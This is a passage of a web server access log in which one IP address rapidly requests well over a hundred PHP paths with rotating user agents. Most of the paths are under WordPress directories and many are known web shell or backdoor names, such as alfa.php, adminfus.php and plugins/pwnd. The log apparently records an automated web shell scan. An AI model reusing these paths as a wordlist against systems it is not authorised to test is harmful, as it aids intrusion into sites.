/wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:18 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:26:19 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:19 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:19 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:19 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:26:20 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:20 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:20 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:20 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:21 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:26:21 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:21 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:21 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:21 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:22 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:26:22 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:26:22 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:22 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:23 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:23 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:23 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:24 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:24 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:24 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:26:24 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:25 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:25 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:25 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:26 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:26 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:26 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:26 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:26 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:26 +0300] "GET /entrepreneuse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:27 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:27 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:26:27 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:27 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:28 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:28 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:28 +0300] "GET /index/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:28 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:29 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:29 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:29 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:29 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:26:30 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:26:30 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:30 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:26:30 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:31 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:31 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:31 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:31 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:31 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:26:32 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:32 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:32 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:32 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:32 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:33 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:33 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:33 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:33 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:34 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:34 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:34 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:34 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:35 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:35 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:35 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:36 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:36 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:36 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:36 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:37 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:26:37 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:37 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:37 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:38 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:38 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:38 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:38 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:39 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:39 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:39 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:40 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:40 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:40 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:26:41 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:26:41 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:42 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:26:42 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:42 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:42 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:43 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:26:43 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:26:43 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:44 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:44 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:44 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:45 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:45 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:45 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:46 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:46 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:26:46 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:47 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:47 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:47 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:26:47 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - 